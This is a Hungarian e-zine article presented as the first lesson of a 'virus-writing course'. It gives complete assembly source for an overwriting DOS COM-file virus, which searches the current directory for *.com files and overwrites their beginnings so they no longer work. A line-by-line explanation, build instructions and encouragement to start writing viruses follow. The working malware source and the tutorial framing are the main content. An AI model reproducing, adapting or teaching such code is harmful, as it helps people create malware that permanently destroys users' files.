Vírusíró tanfolyam - Elsõ rész

A legegyszerûbb és egyben semmire se való, de azért némi jószándékkal vírusnak nevezhetõ virusfajtát próbálom ebben a cikkben leírni és megtanítani nektek. A tervek szerint ez egy állandó rovat lesz az e-zine-ben, amely segítséget próbál nyújtani a kezdõ vírusíróknak.

  Szóval ebben az cikkben a COM futtatható fájlokat fertõzõ, felülíró (overwriter) vírusokról lesz szó. A COM fájlokról röviden: Neve a Copy Of Memory ( a memória mása) rövidítésbõl ered. Mint a neve is mutatja a fájlban ugyanúgy áll minden, ahogy a memóriába való betöltõdés után fog álni. Egy COM file maximálissan egy memória szegmens nagyságú lehet, azaz 64k. Minden COM-nak fix a belépési pontja (entry-point), azaz a saját szegmensének 100h offsetén kezdõdik.

  Feltételezem, hogy valami asm alapokkal már rendelkezel, mert az elengedhetetlen... Ha mégse rendelkeznél alap asm tudással, vagy a fent említett COM-oknál használt szavak nem világossak, akkor nézd át a Lucifer álltal írt ASM Tutoriál sorozatot, amit szintén megtalálsz az e-zine-ban.

Elõször is nézzük hogyan dolgoznak az ilyen primitív vírusok:
Elõször van az eredti program és a vírus:
+----------------------------+
|       Eredeti program      |
+----------------------------+

+----------------+
| Felülíró Virus |
+----------------+

Miután megtörtént a fertõzés, így néz ki a fertõzött program:
+---------------+------------+
| Felülíró Virus|rogram      |
+---------------+------------+
 

Tehát a vírus fogta magát, és felülírta a program elejét a saját kódjával. Az így fertõzött program NEM mûködõképes, és a vírus eltávolítasa után se lesz az, tehát MARADANDÓ károsodást okoz a fertõzött programokban. Mostmár ismerjük magát a mûködési elvet, most nézzük át pontról pontra, hogy mit kell a vírusunknat tennie:
1. Keressen egy áldozatot
2. Nyissa meg
3. Írja hozzá felül saját kódjával az áldozat program elejét
4. Zárja le a fájl
5. Keresse a következõt. Ha talált vissza a 2. ponthoz, ha nem akkor tovább...
6. Kilépés

Nézzünk akkor egy ilyen vírus:

virus           segment
                assume  cs:virus, ds:virus

                org     100h

Start:          mov     ah,4Eh
                mov     dx,offset file_mask
@Find:          int     21h
@Open:          jc      @Exit
                mov     ax,3D01h
                mov     dx,9Eh
                int     21h
                xchg    bx,ax
@Write_body:    mov     ah,40h
                mov     cx,offset end_of_virus - offset start
                mov     dx,100h
                int     21h

@Close:         mov     ah,3Eh
                int     21h

@FindNext:      mov     ah,4Fh
                jmp     @Find

@Exit:          int     20h

file_mask       db      '*.com',0
end_of_virus    label
virus           ends
                end     start

Ugy nem is olyan bonyolult... De ha nem érted, ne igzulj, azért vagyok én, hogy elmagyarázzam. Most sorrol-sorra veszük az egészet:

virus           segment
Ezzel beállítjuk a programunk (azaz vírusunk) szegmensét, amelyben az vírus kódja és adatai lenni fognak. Ebben az esetben a szegmensnek a `vírus` nevet adtuk.

                assume  cs:virus, ds:virus

Mint már említettem a COM fájlok egy szemgensbe vannak csak. Az assume a code szegmenshez (cs-hez) és a data szegmenshez (ds-hez) is a virus szegmenscímét rendeli. Tehát ha a vírusunk például a 12af:0100 címre töltõdik be, akkor a betöltõdés utan a cs és a ds 12af lesz.

              org    100h

Az org 100h azt mondja a fordítónak hogy a program a 100h címen kezdõdik (100h - 256), azaz közvetlenül a Program Segment Prefix (PSP) után, de errõl késõbb. A lényeg, hogy a program betöltõdése utan az Instruction Pointer (IP) 100h-ra mutat (mint minden COM fájlnál).

Start:          mov     ah,4Eh

A Start: az egy label (egy cimke), amire majd a továbbiakban lehet hivatkozni, például ugrásoknál. A mov az a move (mozgatás) szó rövidítése. Tehát ez a sor az ax azaz az akkumlátor regiszter felsõ byte-jába (ah) 4Eh értéket rak.... majd meglátod mire jó ez...

                mov     dx,offset file_mask

Ez a dx regiszterbe berakja a file_mask offszetét, azaz hogy hol található.

@Find:          int     21h

Itt egy újabb label, majd egy int    21h. Az INT utasítás meghívja a beállított funkciót. Nem akarok most részletessen kitérni rá... Összesen 256 int van (int - interrupt - megszakítás), de ha a külömbözõ beállítasokat, regisztereket figyelembe veszed, több száz funkciót tudsz meghíni. Tulajdonképpen minden int-kor egy elõre elkészített kis rutint hívsz meg a beállított regiszterekkel. Ebben az esetben a 21h számú megszakítás 4Eh számú rutinját hívtuk meg. Ez a rutin megkeresi az aktuális könyvtárban lévõ ELSÕ fájlt, amelyikre ráillik a ds:dx-en lévõ fájl maszk ( a mi esetünkben *.COM).

@Open:          jc      @Exit

A következõ utasítás egy feltételes ugrás. A jc a Jump if Carry, azaz ugorj ha a Carry flag 1-es, azaz be van állítva. Az elõbb meghívott megszakítas 1-esre állítja a carry-t ha nem talált megfelelõ fájlt, nullára pedig ha talált. Szóval ha nem talált akkor ugrik az @Exit labelra.

                mov     ax,3D01h
                mov     dx,9Eh
                int     21h

Ha minden igaz, akkor találtunk egy fájlt, amit meg kéne nyitni. Ezt a megint a 21h inten keresztül tehetjük. Elõször is az ah-ba 3Dh-t kell raknunk, ez jelenti ugyanis a megnyitást. Ezutan az al-be kell a hozzáférési módot megadni. Ebben az esetben ez 01h, ami azt jelenti, hogy csak írásra nyitjuk meg (00h - Csak olvasás, 02h - Írás/Olvasás). Mint tudjuk az ax az ah-ból (felsõ byte) es az al-bõl (alsó byte) áll, ezért a kettõt egybe is vonhatjuk. Ekkor ez így néz ki: mov ax,3D01h. A következõ hogy beállítjuk a dx-et. A dx-nek a megnyitandó fájl nevére kell mutatni. Szinte hallom hogy mondod: 'Mi a fene... nekem a 9Eh nem hasonít semmilyen fájlnévre...'. Hát nem is fájlnév, hanem a fájlnevét tartalamzó sztringre offszetét tartalmazza. A 9Eh a PSP-n belül mutat egy helyre, méghozzá a DTA-n belül a fájlnévre. A DTA a Disk Transfer Area-ból származik. A PSP mint mondottam a szegmens elején kezdõdik, azaz 0h-n. Ezen belül a DTA 80h-n. A DTA tartalmazza annak  a fájlnak az információit, amelyet az elõbb találtunk. Ami nekünk kell, az a fájl neve, ami a DTA kezdetétõl 1Eh-ra van, tehát a kettõ együtt 9Eh. Mostmár végrehajthatjuk az int-et.

                xchg    bx,ax
@Write_body:    mov     ah,40h
                mov     cx,offset end_of_virus - offsetr start
                mov     dx,100h
                int     21h

A következõ dolog, hogy hozzáírjuk a vírusunkat az áldozathoz. Ezt is az 21h-s inten keresztül tesszük, méghozzá a 40h al-rutinjával (mov ah,40h). Az elõzõ int a megnyitott fájl handle-jét (magyar szót nem találtam rá... esetleg kezelõ...) az ax-ben adja vissza, viszont nekünk az írásnál (és a legtöbb többi fájlkezelõ rutinnál) a bx-be kell raknunk. Mondhatnád mi sem egyszerûbb mov bx,ax.... Igen ám, de nekünk minden bájt számít, ezért próbáljuk egy kicsit optimizálni. Ezert a xchg-el (exchange - felcserélés) felcseréljuk az ax és a bx tartalmát. A cx-be kell hogy legyen, hogy hány byte-ot szeretnénk írni. Ezt univerzálisra célszerû megírni. A mi esetünkben a két label külömségét fogja a fordító belefordítani értékként a programba. A start az a vírus legelején van, az end_of_virus pedig a végén. A kettõ külömbsége megadja magát a vírus hosszát. A dx-be (pontosabban a ds:dx-be, de COM-nál nem kell a ds-el törõdnöd, mivel az megegyezik a cs-el) jön, hogy honnan írja a byteokat a fájlba. Ez 100h, mert a COM-ok 100h címen kezdõdnek... Majd meghívjuk a rutint...

@Close:         mov     ah,3Eh
                int     21h

Majd végezetül le kell zárnunk a megnyitott fájlt... és találjátok ki melyik megszakítással... hát persze, a 21h-ssal. A 3Eh az a bezárást jelenti, a fájl handle a bx-be kell, de azt már az elõbb bele raktuk, úgyhogy ezek után csak meg kell hívni az int-et.

@FindNext:      mov     ah,4Fh

A 4Fh rutin a 'Keresd a következõt' rutint jelöli.

                jmp     @Find

Majd visszaugrunk a @Find-ra, ahol a jól megszokott int 21h vár.

@Exit:          int     20h

A 20h megszakítás akármilyen paraméterrel lehet hívni, és a programból való kilépést idézi elõ.

file_mask       db      '*.com',0

Ez az adat része a vírusnak... Igaz még csak egy adat van. Elõször egy file_mask nevû adatot definálunk, amely byte-okból áll (db... ha word-okból állna, akkor dw-t használtunk volna), majd megadjuk az értékét. Ha ha egybe szeretnénk megadni az adatot egy sztring ként akkor azt egyes illetve sima idézõjelbe kell raknunk, mint itt a *.com ahogy van. Ha külön byteonként akarjuk megadni, akkor a byte-okat vesszõvel választhatjuk el. Ezt a két módszert szabadon keverhetjük, mint a mi példánkban is, mivel a keresõ rutin (amelyik használja ezt az adatot) onnan tudja hogy a sztring végére ért, hogy ott egy 0-as byte van.

end_of_virus    label

Ez egy simma label, amelynek az end_of_virus nevet adtam. Ez a vírus hosszának számításánál kell.

virus           ends

A virus szegmens vége (ends - end of segment).

                end     start

Az end pedig azt mondja hogy ez ítt a vége a programnak a start meg azért kell, hogy a fordító tudja, hogy hol a program eleje.. Ennek akkor van nagyobb jelentõsége ha több szegmensel dolgozol.... De egyenlõre elégedj meg annyival hogy ez kell és kész.

Ezzel befejeztük az elemzését. Annyit említenék még meg, hogy hogyan lehet kommentezni a forrás fájlokat. A pontosvesszõ (;) után írhatsz akár mit az kommentnek számít, a fordító figyelembe se veszi. Az egész sor lehet komment, pl így:
; Ez itt egy egysoros megjegyzés
De lehet az utasítások utan is rakni megjegyzéseket. Pl.:
xor cx,cx    ; A cx értékét nullázza.

Ezzel befejeztük az elsõ leckét. A vírust a következõ módon fordíthatod le:
tasm virus.asm
Ekkor valami ilyet kellene hogy kapjál:

Turbo Assembler  Version 3.2  Copyright (c) 1988, 1992 Borland International

Assembling file:   virus.asm
Error messages:    None
Warning messages:  None
Passes:            1
Remaining memory:  357k

Lényeg, hogy a nincs semmilyen hiba (error messages: none). Ezután ebben a könyvtárban meg kellet hogy jelenjen egy virus.obj nevû fájl, amit a tasm csinált.
tlink /t virus.obj
Ezután ha minden rendbe ment, kell hogy egy virus.com fájlt találj ebben a könyvtárban. Ez már maga a vírus. Bemásolod egy könyvtárba, mellé még egy pár com-ot, elindítod, majd megpróbálhatod elindítani a többi com-ot is, de azok nem csinálnak semmit, mert mind a virus tartalmazza. Nem kell megijedni, a vírus csak a saját könyvtárában képes fertõzni.

Remélem tetszet ez a lecke és meghozta a kedveteket a vírusíráshoz. Tudom ez elég  primcsi víruska volt, de mindent az alapoktól kell kezdeni, vagy nem? Várom kérdéseidet, sikerélményeidet, problémádat a Formater@ThePentagon.com címen...

Formater [FCF]